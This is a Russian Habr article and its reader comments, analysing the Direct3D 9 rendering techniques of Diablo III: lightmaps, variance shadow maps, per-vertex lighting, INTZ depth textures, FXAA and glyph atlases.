войти зарегистрироваться
сегодня в 13:40

Здесь будет ваша статья :)

Пожалуйста, подождите ...

-

-

-

-

-

Веб 3.0 Децентрализация. Тренд на 5+ лет Проект «Человеческий мозг» официально стартовал 0 dB Бесшумный компьютер. Версия 1.0
Войти Регистрация
Разделы Q&A Хабы События Компании Пользователи
Посты Лучшие Тематические Корпоративные Песочница
Инфо О сайте Правила Помощь Соглашения Статистика
Услуги Реклама Корпоративные тарифы Семинары Спецпроекты
с. 2006-2013 Служба поддержки Мобильная версия
Как устроены графические движки популярных игр с мировым именем? Какие технологии применяют разработчики в самых крупных игровых компаниях? Действительно ли, чтобы сделать красивую игровую графику необходимо применять самые передовые технологии современной 3D графики? На эти вопросы мы попробуем ответить на примере рендер части игры Diablo3, от компании Blizzard Entertainment.

Я давно занимаюсь в сфере игровой разработки, и мое хобби реверс-инжиниринг графических движков популярных игровых продуктов. Когда вышел долгожданный сиквел серии Diablo, я сразу захотел узнать, какие технологии использовали разработчики в своем детище.

Рендер игры построен на базе технологии Direct3D 9. Это позволяет покрыть более широкую аппаратную базу видеокарт, а те расширенные возможности, которые предлагает D3D 10 и 11 зачастую либо вовсе не нужны, либо реализуемы теми или иными способами в девятой версии.

Тени

Для всей статической геометрии уровня используются предрасчитанные лайтмапы. Да-да, старый добрый способ, который применяется со времен, когда 3D-акселераторы стали поддерживать мультитекстурирование.



Лайтмапа просчитывается заранее в пакете 3Д моделирования (3ds max, Maya), либо собственным рейтрейсером в редакторе уровней. Одна такая текстура используется для нескольких игровых объектов, либо их частей, если объект крупный (например, террейн).

Для динамических объектов (монстры, фигурки персонажа) используются динамические тени выполненные по технологии “shadow map” (stencil shadows в наше время уже практически не используется). Разработчики решили отступить от классических канонов в этой сфере, и не использовали hardware shadows (текстуры которые могут быть использованы как буфера глубины, и поддерживающие аппаратный Percentage Closer Filtering – PCF), которые предлагают все популярные производителями видеокарт. Вместо этого, была применена технология Variance Shadow Maps. Она позволяет получить мягкие края путем стандартного размытия текстуры тени (для классических карт теней этот метод неприменим, так как усреднение значений глубины пикселя не имеет смысла). Подробности VSM я расписывать не буду (см. полезные ссылки в конце статьи), скажу лишь только, что для ее реализации необходимо хранить 2 значения: глубину пикселя и глубину пикселя в квадрате. Именно второе значение диктует довольно жесткие условия к точности хранения этой информации, поэтому была выбрана текстура формата A32B32G32R32 float. Размер ее при максимальных настройках качества теней 2048х2048.



Процесс создания карты теней стандартный. Рисуем все объекты отбрасывающие тень (окклюдеры) в карту тени с позиции источника освещения. Размываем карту тени сначала по горизонтали, а затем по вертикали. При рендере объектов, которые должны получать тень (ресиверы), семплим шадоу мапу, определяем степень освещенности пикселя и соответственным образом затемняем финальный цвет. Семплинг карты теней должен происходить с билинейной фильтрацией. Аппаратная фильтрация формата A32B32G32R32F поддерживается далеко не всей линейкой shader model 3.0 capable видеокарт, поэтому она реализуется программно, в шейдере (хотя на моей видеокарте она поддерживается, но это не учли).

Рендеринг теней происходит с ортографической проекцией, если тень от направленного (directional) источника (солнце), либо с перспективной для конусовидных (omni). Техники перспективного искажения карты теней (например, Perspective Shadow Maps,Trapezoidal Shadow Maps и др.) для положения камеры используемой в игре (направление взгляда сверху вниз, под небольшим углом к направлению главного источнику освещения) не нужны и не используются. Каскадное разделение теней на сектора (Cascaded Shadow Maps, Parallel Split Shadow Maps) не реализованы по тем же причинам.
Карта тени в разрешении 512х512 со сглаживанием и без:



Шейдер для патча террейна в варианте со сглаживанием состоит из 12 текстурных и 59 арифметических инструкций. Без сглаживания 10 и 29 соответственно. Разница в арифметических инструкциях есть реализация билинейной фильтрации и VSM.

Динамическое освещение

Удивительно, но все динамическое освещение повертексное. Как в старые добрые времена. Никаких карт нормалей в игре нет. Смелое решение, но учитывая финальный результат, очевидно, что он себя оправдал на 100%. Недостатка в детализации геометрии совершенно не ощущается. В вертексном шейдере реализованы один точечный источник света с квадратичной аттенюацией (как в классических FFP формулах), один цилиндрический источник (он используется как подсветка персонажа, для освещения близкого окружения героя) и до 16 точечных источников с простейшей линейной аттенюацией по расстоянию.

В игре реализованы также объемные источники освещения. Сделаны они следующим образом. Рисуем сферу, или другую выпуклую фигуру, в месте источника освещения. В вершинном шейдере высчитываем альфу вертексов на основе нормали и вектора направления камеры. Чем больше угол между ними, тем большая прозрачность должна быть. Получаем полупрозрачную сферу с увеличением прозрачности от центра к краям. Так как эта сфера будет пересекать геометрию уровня, мы получим визуальный артефакт изображения в месте пересечения объектов уровня и самой сферы. Данный недостаток исправляется абсолютно таким же методом, как и делаются так называемые soft particles. Берется выборка из буфера глубины и сравнивается с глубиной отрисовывамого пикселя. Если значения близки, то модифицируя альфу (уменьшая ее до нуля), мы делаем место пересечения геометрий невидимым.



Специальные эффекты

Из интересных эффектов можно выделить проективное текстурирование. Для наложения на поверхность земли текстур различных игровых заклинаний (например, крики варвара, лужи яда, огненные дорожки монстров и т.д.) все эти эффекты рендерятся в отдельную текстуру:



Затем выполняется повторный рендеринг всей геометрии, на которую должно быть выполнено проективное текстурирование с использованием построенного кумулятивного изображения с проецируемыми графическими эффектами. Смешивание изображений выполняется по альфа каналу.

Для некоторых эффектов (пост-процесс, в частности) необходима информация о глубине сцены в данной точке. Стандартные средства Direct3D 9 не позволяют получить буфер глубины как текстуру для последующего чтения. Очевидным вариантом будет рендеринг всей сцены еще раз, с выводом глубины пикселей в текстуру формата R32F. Этот метод в большинстве случаев неприемлем, так как удвоение отрисовываемой геометрии сильно скажется на общей производительности игры. Производители графических адаптеров давно знают об этой проблеме, и предлагают специальные форматы текстур, которые могут использоваться и как текстура в шейдере, и как буфер глубины при рендеринге. Одним из таких форматов является так называемый INTZ формат. Он то и используется в Diablo III. Текстура такого типа используется при рендеринге сцены как depth buffer, а затем значения из нее можно получить в шейдерах, где необходима информация о глубине. Я не знаю, как выполняется рендеринг на аппаратуре, которая не поддерживает INTZ текстуры (не все shader model 3 видеокарты поддерживают данный «хак»), у меня нет видеокарты без такой поддержки. Возможно, выполняется дополнительный проход, либо эффекты, зависящие от глубины, реализуются по-другому, либо совсем выключаются.

Подсветка объектов под курсором реализуется путем рендеринга выделяемого объекта в отдельную текстуру. Шейдер при этом используется простейший – вывод единицы в альфа канал рендер таргета, и цвета выделения в rgb каналы. Затем полученная текстура размывается по горизонтали и вертикали. Для корректного наложения эффекта и получения финального изображения необходимо оставить только ореол объекта, но не его основной силуэт. Имея оригинальное (не размытое) изображение, финальный шейдер наложения проверяет значение альфа канала в этой текстуре. Если он равен 1 (объект в этом пикселе есть), то выводимый альфа канал устанавливается в ноль. Если значение 0 (объекта в этом пикселе нет), то используется альфа канал размытой текстуры.



Пост-процесс эффекты

Количеством пост-процесс эффектов игра похвастаться не может. Среди всего арсенала были замечены bloom, full screen distortion и полноэкранное сглаживание, выполненное по технологии FXAA. Дисторшн реализуется по классической схеме. Отрисовываем партиклы, которые должны привносить искажения в финальную картинку (горячий воздух, например) в специальную текстуру. Записываемые данные являются u и v смещениями текстурных координат. В следующем полноэкранном проходе используем эту текстуру и смещаем текстурные координаты для семплинга основного изображения сцены.



Полноэкранное сглаживание выполнено также как пост-процесс эффект. Причин этому несколько. Использование INTZ буфера глубины становится невозможным (нельзя создать чистый multisampled INTZ depth buffer для последующего копирования его в non-multisampled INTZ текстуру), и shadow map будет занимать очень много памяти (напомню, что ее формат A32R32G32B32F, т.е. 16 байт на пиксель). Полноэкранное сглаживание в игре выполнено по технологии Fast Approximate Anti-Aliasing (FXAA).



Геометрия и материалы

Все данные вершин игровых моделей упакованы в cache-friendly 32 байт формат. Исключение составляют анимированные модели, там 48. Дополнительные данные это веса костей их индексы. В игре используется скелетная анимация, которая выполняется в шейдере. По этой причине для анимированных моделей количество точечных источников ограничено семью, из-за нехватки константных регистров для хранения параметров источников освещения и матриц костей.

Общее количество draw call’s невелико. Значение колеблется в пределах 300-800 DIP, что является хорошим показателем.

Шейдера выполнены по технологии uber-shader, т.е. компиляция множества вариантов одного эффекта с помощью перебора набора дефайнов препроцессора. Например эффект может быть с туманом и без, с тенью и без, с лайтмапой и без. За туман, тень и лайтмапу отвечает определенный define вида: #define USE_FOG 1. В теле шейдера блок кода, отвечающий за наложение тумана выполнен внутри блока #if USE_FOG … #endif. Таким образом переключая значение USE_FOG 1/0, мы получаем шейдер с туманом и без. Схожим образом делаются и все эффекты. Система сборки всех вариантов шейдеров, автоматически перебирает весь набор значений дефайнов, и для каждого набора компилирует шейдер.

Пользовательский интерфейс

Внутриигровой интерфейс отрисовывается на экран довольно стандартно. Особой группировки элементов с целью уменьшения вызовов на отрисовку (DIP calls) не наблюдается. Хочется отметить рендеринг текста. Подготовка символов для рендера очень похожа на метод используемый в Scaleform GFX. Все уникальные символы отрисовываются в отдельную текстуру, и уже эта текстура используется для рендеринга текста. Не смотря на схожесть текстового рендера, сам Scaleform не используется.

Послесловие

Сам рендер оставляет приятные впечатления. Такой себе микс олдскула и некоторых современных веяний. Производительность на высоте при красивой картинке (как всегда у игр от Blizzard, собственно). Большую роль в этой всей красоте отыгрывает работа художников и дизайнеров. Diablo III еще раз доказывает, что очень красивую графику можно сделать и на не самом технологичном рендере.

Полезные ссылки
— Variance Shadow Maps. www.punkuser.net/vsm/
— FXAA. developer.download.nvidia.com/assets/gamedev/files/sdk/11/FXAA_WhitePaper.pdf
— Список известных GPU «хаков». aras-p.info/texts/D3D9GPUHacks.html
s1dney
ничего не понял, но очень интересно
pomkaster
Поддерживаю. Читается почти как интересный детектив, на одном дыхании. Только иногда задумываешься — «Я понимаю процентов 20 только, зачем я это читаю». Но продолжаешь читать. Ну и картинки конечно).
tangro
Понял процентов 50. :)
Понравилось, спасибо.
UrsusDominatus
Можно спрашивать, постараюсь более подробно объяснить те или иные моменты.
tangro
Почему всё-таки забили на DirectX11? С его продвинутым pipeline и всякими там шейдерами на всех этапах разве не было бы лучше и быстрее? Просто поленились писать две реализации?
homm
Реализации и так как минимум две: на Маке нет DirectX.
obiwanus
Да, и можно ли было написать на опенгл?
PavloG
DirectX 9 код пас используется для XBox — поэтому и будет жить еще некоторое время (+winrt)
PavloG
«Поленились» это вы конечно шутите — поддерживать 2 код паса могут позволить не все
tangro
Многие используют готовые движки, а движки поддерживают разные технологии отображения. Поскольку тут поддерживается как минимум DirectX 9 и что-то для работы под Мак, значит что-то типа универсального движка тут тоже есть. Вопрос в том, почему у этого движка нет поддержки DirectX11.
PavloG
Это реально очень все усложняет и требует больше ресурсов (согласен с ответом ниже)
dmitriid
Как подсчитали вероятность?
edelweard
Наблюдая за крупными играми, что появляются на макоси :) У редчайших игр нет подпапочек типа drive_c/Program Files/ и т.п. :)
dmitriid
А у Diablo III такие подпапочки есть?
Я не в курсе подробностей, но Diablo выпускается для обеих осей с самого начала, т. е. с 1996 года, ещё на PowerPC. Сомневаюсь, что тогда был Cider.
edelweard
Если не забуду, дома посмотрю.
dmitriid
Посмотрел. Таки да, скорее всего собственный движок. Из поставляемых с игрой фреймворков — только NVidia Сg, все остальное — системное.
dmitriid
Близарды всегда все свои игры делали нативными.
Agent_Smith
Сложно поддерживать два сильно отличающихся рендера (это я вам по опыту говорю. Приходилось писать игру с fixed-function pipeline и шейдерным рендером). Надо поддерживать два набора шейдеров, делать эффекты и там и там, да еще и картину надо выдавать похожую. Сложно это и затратно. Разработчики посчитали, что вложения не стоят той отдачи которую они получат.
UrsusDominatus
Пользуясь случаем, хочу выразить благодарность за блог, в котором были подобные реверсы графики ААА-игр :) До сих пор регулярно открываю, в надежде увидеть записи, подобные этому посту :)
moadib
Добро пожаловать на Хабр.
Давно ждал в ЖЖ разбора рендера какой-нибудь новой игры. А тут такой сюрприз.
Как всегда интересно и познавательно. Спасибо.
dotsquid
Осталось физику сделать не тупящую на GTX 560…
Dr_Death
На сколько я успел понять, физический движок в D3 свой. А значит ни о какой аппаратной акселерации просчетов на GPU речи не идет.
UrsusDominatus
Тем неменее на одном компе на разных видеокартах, и разных физических процессорах, тупит поразному, и тупит именно когда много разрушений и прочего.
З.Ы. минусящие которые игру видели только на скриншотах, могут погуглить как GTS 250 все летает, а GTX 560 тупит на не самых старых компах ;)
Dr_Death
А что мешает считать на GPU? Что мешает написать физику на openCL?
Gorthauer87
Все уникальные символы отрисовываются в отдельную текстуру, и уже эта текстура используется для рендеринга текста. Не смотря на схожесть текстового рендера, сам Scaleform не используется.

По моему так делают все. Сравнение со Scaleform мне не понятно.
PavloG
Я так и думал, что этот момент будет не до конца понятен. Как делают «обычно». Подготавливают текстуру со всеми символами шрифта, и используют ее для отрисовки текста. В этом случае данная текстура статична и никогда не меняется. Проблемы с таким подходом начинаются, когда продукт надо локализировать. Впихивать в одну текстуру все символы языка иногда не представляется возможным. Тут же подготавливается текстура только с нужными буквами. Например для отображения фразы «Важное сообщение», текстура содержит символы «Важноесбщи», и уже из нее делаются выборки символов. Такой подход я впервые увидел в Scaleform SDK. Возможно это стандартная практика уже. Судить об этом сложно так как очень много современных игр использует Scaleform для GUI.
UrsusDominatus
А тот же WoW от тех же Blizzard разве не так же(как в d3) делает? :) Если мне память не изменяет, то в pix'е я видел именно такую текстуру, содержащую буквы, которые нужно отрисовать на экране.
moadib
WOW я смотрел очень давно. Скорее всего там именно так, но я не помню.
UrsusDominatus
Берется freetype и настоящий фонт и на лету генерят атлас(ы) — самый известный пример (ему уже 100 лет).
Прегенеренные атласы конечно еще используются но все меньше и меньше
PavloG
Согласен. Решение логичное то. Наверное все таки сравнение со Scaleform было не совсем корректным.
UrsusDominatus
Они для каждой фразы собирают атлас заново? Или всё таки у них по мере встречи новых букв они кэшируются в атласах, и через время он уже не меняется, когда там набираются все буквы?
elmm
Там атлас набирается на группу отрисовываемых фраз. В игре уникального текста на экране не очень много. Основной поток — это цифры урона и лечения.
UrsusDominatus
Проще сказать что отображаемые на экране уникальные символы кешируются в отдельную текстуру — атлас.
Почему надо хранить в одной текстуре — а не несколькольких (по текстуре на символ, как делали, да еще и делают во многих OpenGL «уроках») — оптимизация по колличеству вызовов Draw[Indexed]Primivites(DIP).
Сейчас железо сильно быстрое — поэтому более эффективно по DIPам и памяти создавать такой кеш «на лету». Особенно актуально для локализованных версий, где общий набор символов не постится в свободную видео память.
Конечно получается что такой атлас хранится без компрессии, но тк шрифты — контрастное и высоко частотное изображение — пожимать его плохо.
Bagobor
Да, именно так. Спасибо за развернутое пояснение
UrsusDominatus
Это очень круто. Хотелось бы научиться делать такие вот вещи, разбираться в этом.
Но пока только получаются приложения для вконтакте :)
Dreddik
У меня есть идея написать методику вот таких вот «разборов». Может быть руки когда-нибудь дойдут.
UrsusDominatus
Pix. Вот пример такого разбора graphics.stanford.edu/~mdfisher/CaptureA/Capture.html :)
dmandreev
MS PIX for windows мой основной инструмент, но не единственный.
UrsusDominatus
Было бы очень познавательно увидеть подобную серию статей на хабре. Статьи можно разбить по тематике: террайн, тени, освещение, эффекты, интерфейс, хаки. В статье сравнить различные методики, какие есть проблемы, что быстрее, что «красивее».реалистичнее. В конце подробно рассмотреть самый технологичный вариант. Плюс поддержка реализации на PC, консолях и телефонах.
novoselov
Могу сделать статью про освещение террейнов по методу Ambient Aperture Lighting, если есть желающие (защищал по нему курсовую=))
sol_linux
Есть! Пишите, пожалуйста :)
RiderSx
Есть разные варианты
В Crysis все обьекты для аутлайна рендерятся в отдельные(один) рендер таргет и потом при блитинге на главную сцену используют edge detection filter
PavloG
Да, все верно. Надо смотреть какой именно эффект необходим. Например, в некоторых стратегиях есть подсветка элементов закрытых другими объектами. В таком случае используются техники со стенсил буфером.
UrsusDominatus
На современном железе доступны выборки из буфера глубины — поэтому этот же эффект можно сделать без stencil буфера.
Bagobor
Интересно, что даже для современных игр типа Diablo 3 до сих пор используются такие классические технологии, как предрассчитанные лайтмапы, карты теней, эффекты на основе текстурок и т. д. Из более-менее новых технологий разве что FXAA (который впервые появился в скайриме), а всё остальное было ещё в далёких 2000-х. И даже если бы были нормалмапы, это вряд ли бы что-то изменило. Где CUDA/OpenCL, где рейтрейсинг по хитро просчитанным BVH-деревьям, воксельные системы, физически-корректные и реалистичные BSDF или даже BSSRDF для подповерхностного рассеяния? Арргх, не дожить мне до этого дня!
Lockal
Можете объяснить несведущему, зачем применять что-то новое, если старое так хорошо выглядит и протестировано?
Goder
Новые технологии очень привлекательно выглядят на бумаге и в презентациях. Часто заказчик видит и говорит: «Вот это круто. Хочу чтобы было так же!». Для качественной картинки и «устаревших» технологиях нужны художники, моделлеры и дизайнеры высочайшего класса. На «новых» эффектах можно вытащить картинку на более высокий уровень. Возможно причина в этом.
UrsusDominatus
По меркам игр, существовавших до этого, может это и правда это хорошо выглядит. Но с точки зрения фотореализма, один раз увидишь вариант лучше — всегда о нём будешь думать. Например лайтмапы: тени красивые, но объекты просто невозможно сдвинуть. Карты теней — да, даёт тень по форме объекта, но где в реальной жизни тень получается от блюра формы объекта? Если есть motion blur для объектов, то он наверняка векторный, а значит не будет распространяться на отражения и преломления. И в целом, олдскульные шейдеры (Фонги, Ламберты и прочие) дают очень приближённое освещение, в частности, не учитывающее форму источника. И таких мелочей множество, даже в одной области освещения.
Lockal
1. Объекты невозможно сдвинуть. Если игра базируется на таких принципах, зачем применять более тяжелое и сложное решение (например SSAO)? Визуально то ничего не меняется.
2. Мягкая тень (пусть и не физически корректная) всяко лучше чем жесткая и угловатая. В игре персонажи занимают небольшую часть экрана, и при таком ракурсе все равно ничего не видно. Так зачем платить больше?

Вся игровая графика это баланс между реалистичностью (красивостью) и производительностью и спектром поддерживаемой аппаратуры. Зачем делать что-то заведомо более сложное и медленное, если увидеть разницу получается только сильно приглядываясь? Разработчики это понимают очень хорошо.
UrsusDominatus
Очень много самых современных эффектов очень плохо живут в реал-тайм графике. Вернее они то живут, но отдельно (в демках) и на топовом железе. Игра это далеко не только графика, да и вопрос охвата максимальной аудитории (а это и слабые, и встроенные видеокарты) стоит достаточно остро. А делать 2 и более рендеров (например low-end DX9, и high-end DX11) с разным набором эффектов и технологий сильно напряжно.
UrsusDominatus
Главный поинт что красота не является следствием технологии. :)
Bagobor
Я офигенно рад, что смог пройти D3, на своем MBP 13" со встроенной HD3000. И хоть половины эффектов не было видно, но все равно уровень графики оказался очень хорошим, за такие игры даже платить приятно.
Agent_Smith
Diablo3 стала разрабатываться довольно давно. И как не сложно заметить на всех ранее выпущенный проектах студии — они всегда делали упор на не требовательность к железу.
Достаточно вспомнить что StarCraft использовал всего 256 цветов! WOW — на момент выпуска был играбелен на интегрированной графике от Intell.

Bagobor
Он и сейчас играбелен на интегрированной графике от Intel.
OpenMinded
ключевое слово «на момент выпуска». :)
тогда интегрированная графика от интелл была сильно слабей.

Сейчас конечно тоже можно в той же конфигурации начать играть, но новые рассы и локации более тяжелые, да и посещение людных мест не будет радовать тормозами :))
Bagobor
Нет, не играбелен. На батлграундах 10х10 будут тормоза в замесах, не говорю уже о 40х40. Тоже самое с рейдами, а это, по сути, основной end game контент.
Возможно, с минимальным разрешением и удастся достичь примлемого фпс, но тогда текст будет слишком мелкий и не хватит места для панелек (все же мы говорим о игре, где необходимо иметь быстрый доступ к по меньшей мере 20-30 абилкам).
Кстати, с выходом последнего аддона производительность ощутимо упала, уж не знаю, что они там сделали.
helarqjsc
Моя девушка играет в ВоВ на MBA 11" (Intel HD 4000). С оптимизацией настроек (Good quality минус всякие SSAO итд) выдает 60 фпс.
daD
Новые видео ядра от Интелл значительно лучше старых :)
Bagobor
В 3D графике всегда будет много предпросчитанного и закэшированного — это оптимизация и перераспределение ресурсов с процессора на память. Потому что процессор всегда есть чем занять его во время отрисовки кадра дорого.
Если есть возможность запихнуть эффект в несколько текстурок и простых партиклов, то любой разработчик так и сделает и займется чем ни будь пополезнее.

Пока BSDF можно имитировать дефмепами с парой фильтров, никто не будет тащить в свой рендеринг просчет трассировкой с каким бы грубым приближением он не работал. Так это добавит алгоритмы с высокой сложностью, как вычислительной, так и кода, которую нужно будет держать под контролем.
mrjj
Это классическая «вилка» — циклы(CPU/GPU) vs память. :)
Bagobor
А вы анализировали игры сделанные с Unity? Интересно, насколько большой простор у разработчиков для оптимизации графики, используя этот движок. Можно было бы создать игру подобную Diablo 3 и с системными требованниями на уровне, используя обычную версию Unity Pro?
Aurum
Я не то что бы анализировал, я делал современную графику на Юнити. В то время Direct3D (или OpenGL) предлагает определенные возможности, Юнити очень сильно эти возможности зажимает. Зачастую приходилось именно «бороться» с движком чтобы сделать что-то эдакое. Если с более-менее стандартными эффектами и возможностями Юнити справляется неплохо, то попытки отступить чуть в сторону обычно заканчиваются препятствиями со стороны движка. То то не поддерживается, то нет возможности управлять нужными состояниями. Игру уровня Diablo 3, думаю, сделать можно.
UrsusDominatus
А где-нибудь о ваших «сражениях» с Unity и их результатах можно прочесть? Всегда стоит вопрос, как оптимально там улучшить качество графики и с чего начать.
Мне вот после игры The Room на айпаде никак покоя нет, уж слишком идеально материалы сделаны для юнити, никак не пойму, как они такого добились…
mc_murphy
Так на то они и рамки кроссплатформа, чтобы зажать так, чтобы работало везде и без дополнительных танцев с бубнами в дальнейшем.
Leopotam
Это все верно. Но иногда мне не нужна кроссплатформенность, а нужен функционал.
UrsusDominatus
Тогда это уже не конструктор нужен, закрученный под WYSIWYG и прицелом под кучу платформ, включая мобилки. :)
Leopotam
можно делать вот такое (подробнее)
cyberXndr
У Valve на сайте есть раздел с презентациями, там тоже описываются интересные вещи, например, как в Portal 2 делалась вода и пузырьки в геле, как было сделано освещение в Half Life 2.
egorinsk
Если кому интересно, я недавно писал статью про использование Intel GPA для flash-разработчиков. Штука очень универсальная, с её помощью можно посмотреть все что угодно, особенно можно «поиграться» с теми самыми дроуколами, отредактировать шейдера, есть большой набор возможностей чтобы понять любое поведение. Можно посмотреть все рендер таргеты, узнать историю пикселя и какие дроуколы на него влияли, сохранить все текстуры, заменять их на простые, устанавливать им мипмапинг… вообщем полезная штука, особенно когда вопрос касается производительности(оптимизация шейдеров, работа с блендмодами, определить overdraw в сцене и др.) Intel GPA очень прост, буквально после 2-3 часов уже к нему привыкаешь. Но есть один минус, работает только на Windows и только с DirectX.
Я тоже хотел сделать обзор графики в Diablo III, но они так и не ответили положительно на мою просьбу разрешить сделать обзор =(
flastar
GPA так же часть моего арсенала, и это очень полезная утилита. Но и у нее есть недостатки. Нельзя смотреть вершинные и индексные буфера. Не показывает декларации вертексных форматов. Метрики измерения производительности немного странно работают на видеокартах не от Intel.
UrsusDominatus
Вот не понял, почему именно A32B32G32R32F. Не «дешевле» было бы считать квадрат в шейдере?
Если и так уже как-минимум билинейную фильтрацию переложили с железа на программный шейдер.
AterCattus
По началу такая «оптимизация» кажется очевидная. Но надо вспомнить, что пред использованием карта теней блурится. Т.е. квадратичное значение тоже усредняется между несколькими соседними текселями. Обычно это очень много соседей. Для 7х7 блура получим 49 значений. Если считать квадрат в шейдере, то надо будет посчитать квадрат среднего значения из 49 выборок оригинальной текстуры, а это уже очень медленно.
UrsusDominatus
Про blur не подумал. В таком случае да, очень накладно.
AterCattus
С другой стороны почему не использовалась 64бит 2х канальная текстура. Все же в 2 раза меньше по памяти\шине (и что так же должно увеличить скорсть текстурных выборок при фильтрации).
Видимо решили не заморачиваться с вопросами разной скорости работы и поддержки картами\драйверами.
Bagobor
Потому что в Д3Д9 нет такого типа поверхностей. Впрочем, в ДХ11 тоже.
И почему вдруг было бы 2 раза меньше? 64 х 2 == 32 х 4
dotsquid
Думаю имелось в виду текстура формата R32G32F. Как раз 64 бит на пиксель.
UrsusDominatus
Мдэ… туплю. Приношу свои извинения, посыпаю голову пеплом и ухожу спать.
dotsquid
Нет, нет. Там еще 1 канал в этой шадоу мапе используется для каких-то целей. Я не до конца понял для чего именно и тогда видимо пошел дальше, оставив это на потом. И вот вспомнил только про это как раз.
UrsusDominatus
А сохраненных дампов не осталось посмотреть на содержимое?
Bagobor
Осталось конечно. Как будет время я гляну.
UrsusDominatus
Глянул для чего еще один канал выводится. Все банально — там записана интенсивность тени. Т.е. обычной константой задается как сильно будет влиять тень от данного кастера на затемнение оригинального цвета места на которое ложится тень. Значение от 0 до 1. Получается per-object shadow intencity. Один канал остается свободный
UrsusDominatus
любопытно! градиент или константа?
Bagobor
Константа передающаяся из игры в шейдер.
UrsusDominatus
Полноэкранное сглаживание выполнено также как пост-процесс эффект. Причин этому несколько. Использование INTZ буфера глубины становится невозможным (нельзя создать чистый multisampled INTZ depth buffer для последующего копирования его в non-multisampled INTZ текстуру), и shadow map будет занимать очень много памяти (напомню, что ее формат A32R32G32B32F, т.е. 16 байт на пиксель).

Объясните ка, зачем это shadow map изметять свой формат, когда переходим к полноэкранному сглаживанию?
kvark
INTZ это особый формат буфера глубины. Он не используется для shadow mapping'a. Формат карты теней не будет меняться. Он останется ARGB32F. Но, тут два варианта. 1. Делать multisampled shadow map чтобы использовать существующий multisampled depth buffer. В этом случае размер карты теней смело умножаем на количество семплов мультисемплинга. 2. Делаем дополнительный non-multisampled depth buffer для рендера в non-multisampled буфер тени. И тот и тот вариант требует дополнительных затрат по памяти.
UrsusDominatus
Всё равно не понимаю. Зачем при создании shadow map вообще нужен существующий depth buffer? У него же размер другой, в конце концов.
kvark
В данном случае shadow map это не depth buffer. Это обычная текстура (render target), куда мы шейдером выводим глубину пикселя, рисуя сцену с позиции источника освещения. Для корректного z-отсечения нам нужен depth буфер.
UrsusDominatus
Это понятно. Вопрос был в том, при чём тут основной depth buffer сцены, который multisampled. Для z-отсечения при отрисовке в shadow map естественно использовать свой отдельный depth buffer, которому не важно, используется ли полноэкранное сглаживание или нет.
kvark
Свой отдельный depth буфер можно не использовать, а использовать основной depth буфер (если разрешение экрана и shadow map'ы совпадают, что практически никогда не происходит), либо depth буфер каких-либо других эффектов. В случае «другой» буфер глубины multisampled, а shadow map'a non-multisampled, то вместе они работать не смогут. Это я хотел сказать.
UrsusDominatus
Быть multisampled нужно только основному depth buffer'у (контр-пример?), от которого shadow map никак не зависит:
… что практически никогда не происходит…

А значит и упоминать shadow map в принципе для обоснования FXAA перед multisampling было лишним:
… и shadow map будет занимать очень много памяти
kvark
Тут я допустил промашку в объяснении. Приношу извинения.
UrsusDominatus
Ну, мне графика нравится. Понятно, что это субъективно, и графика в Frostbyte 3 явно технологичнее и красивее. Непонятных «багов» как-то и не встречал. Тормоза из-за потоковой подргузки и кеширования данных. Графика тут не при чем. Я говорил о том что рендер у них сделан хорошо.
wa_Nadoo
Прочитал статью и нахлынула ностальгия по временам, когда ещё был жив game.exe, когда демки ставились с дисков, когда первый запуск игры начинался с обстоятельного копания в нескольких экранах настроек графики, а иногда и в конфигах.
Уже много лет домашний компьютер и рабочий ноутбук не видели игр, кроме стандартных косынок да сапёров, играю на консолях (купил все стационарные и мобильные, начиная с вии) и полностью окажуалился, однако такие статьи обожаю. Читаю тайком и наслаждаюсь, хотя половину терминов уже представляю довольно смутно. :)
UrsusDominatus
Статья хороша, правда иногда хочется спросить «а как это узнали?», например об отдельном aux рендер пассе для подсветки :)
Немного смущает пассаж про отсутствие per-pixel света и карт нормали (а значит и спекуляра) — неужели это так для любых настроек? Все-таки картинки довольно рельефны и как-то не верится, что все это per-vertex освещение, особенно для мобов.
Интересно, есть ли в природе откровения от разработчиков игры, с примерами текстур и моделей, как бывало с превосходными моделями из разных частей Assassin's Creed?
Gafs
Реверсом игр я занимаюсь давно, просто вот на хабре первый пост. Рендер реверсится с помощью свободно доступных тулзов, ну и знаниями как что работает. Я подумываю написать статью о методике реверсинга/отладки 3D приложений.
Я всегда реверсю на максимальных настройках графики игры. Карт нормалей в D3 нет вообще. А спекуляр спокойно живет и без них (спекуляр и карты нормалей никак не связаны по сути), и он есть в игре.
Откровений про рендер от разработчиков DiabloIII я в сети не видел, но есть дока по StarCraft2 pds17.egloos.com/pds/200908/12/03/Chapter05-Filion-StarCraftII.pdf
kuchumovn
спекуляр спокойно живет и без них

Меня это откровенно смущает. При вертексном освещении скалярные произведения нормали с светом/камерой считаются в вертекс шейдере. Это дает очень специфичные спекуляр артефакты:
web.gin.cz/trahern/glTest-perVertex.gif
Думаю, есть разные методы их побороть и все они довольно не тривиальные. Например, нет ли случайно в пиксельном шейдере отсылок к альфа-каналу спекуляр мапы?
Nomad1
Там тесселяция геометрии хорошая. От того и не будут видны такие вот артефакты. Что делает карта нормалей? Она дает больше нормалей на единицу площади геометрии, чем вершины меша. Если в модели много вершин, то это по сути то же самое.
UrsusDominatus
Узнал как делают подсветку объектов под курсором. Чувствую легкое разочарование, думал для этого будут использоваться хитрые алгоритмы, ну или в худшем случае дважды будет рисоваться объект сначала масштабируемый с материалом подсветки, потом стандартных размеров со своим материалом. А тут рендеринг в текстуру даже, но я понимаю, качество диктует свои условия. Очень интересная для меня статься, хоть я всю жизнь только 2д игры делаю. )
Nomad1
Рендеринг в текстуру + размытие, однако :)
UrsusDominatus
Безбожно тормозит? У меня на стареньком GeForce 9600GT вполне шустро бегает практически на максимальных настройках. Есть проблемы с тормозами во время подгрузки ресурсов, но это к рендеру не имеет отношения.
leanid
Бегал всеми комбинациями классов. Вчетвером. Нормально вроде все.
Dreddik
Отличная статья. Спасибо, интересно. А еще было бы интересно послушать про то, как некоторые 2Д игры юзают GPU и шейдеры в своих целях )
wind1r
Супер! Особенно порадовало что многое разжевано!

Что дальше? :)
UrsusDominatus
Не факт, мне как геймдевелоперу намного привычнее именно оригинальный вариант.
wind1r
Это не оригинальный вариант. Такие термины лучше на английском писать, а не транслитерацией, как мне кажется.
UrsusDominatus
Ага можно заменить на фетчим шадоу мапу :)
wind1r
Да вроде аудитория не школьная…
soulburner
Я просто старался термины разнообразить. Везде писать «делаем выборку из карты теней» будет стилистически не очень красиво
FDsagizi
Не обращайте внимания. Это же — Мицгол. Он с удовольствием будет писать «щелкаем левой клавишой манипулятора „мышь“ ;)
